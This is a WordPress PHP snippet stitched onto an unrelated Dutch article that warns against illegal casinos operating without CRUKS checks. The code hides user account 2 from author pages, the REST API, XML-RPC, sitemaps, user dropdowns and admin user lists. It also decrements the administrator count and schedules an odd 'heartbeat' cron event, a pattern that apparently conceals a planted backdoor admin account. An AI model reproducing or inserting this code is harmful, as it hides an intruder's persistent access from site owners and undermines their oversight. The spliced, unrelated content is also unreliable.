add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
CRUKS – het Centraal Register Uitsluiting Kansspelen – is het Nederlandse systeem dat spelers moet beschermen tegen gokproblemen. Iedereen die zich vrijwillig of onvrijwillig laat inschrijven, mag niet meer spelen bij legale aanbieders. Een online casino zonder Cruks controleert dat register simpelweg niet. Dat betekent dat ze geen vergunning hebben van de Kansspelautoriteit en dus illegaal opereren. Ze presenteren zich vaak als de ‘beste optie’, maar de waarheid is dat ze doelbewust kwetsbare mensen binnenlaten om eraan te verdienen.
De reden achter de zoektocht naar een no-Cruks casino is tegelijk simpel en droevig. Vaak zijn het mensen die al kampen met een gokverslaving en zichzelf hebben laten inschrijven – of die er onvrijwillig in zijn gezet. Ze denken slim te zijn door naar een illegale site te gaan waar geen verificatie plaatsvindt. Maar in plaats van hun problemen op te lossen, voeden ze die alleen maar. Het casino verdient illegaal geld aan iemand die hulp nodig heeft. De overheid en de Kansspelautoriteit jagen deze sites met dwangsommen en miljoenenboetes weg, maar er blijven er telkens bijkomen. Doe hier niet aan mee.
| Kenmerk | Legaal casino met Cruks | Illegaal casino zonder Cruks |
|---|---|---|
| Vergunning Kansspelautoriteit | Ja | Nee |
| Verplichte Cruks-controle | Ja | Nee |
| iDeal beschikbaar | Ja | Nee |
| Spelersbescherming | Uitstekend (speellimieten, zelfuitsluiting) | Geen |
| Betrouwbaar | Ja | Nee |
Je kunt jezelf alleen uit Cruks laten schrijven na de afkoelingsperiode. Als je alles op de rails hebt en verantwoord met geld omgaat, is er niets mis met legaal gokken bij een vergunninghouder. Maar wie nog ingeschreven staat in Cruks en toch wil spelen, heeft een probleem – niet een gebrek aan aanbieders. Zoek professionele hulp, blijf weg van zogenaamde no-Cruks casino’s, en laat je niet verleiden door een valse belofte van vrijheid. De enige echte vrijheid is die waarin je de controle niet verliest.
]]>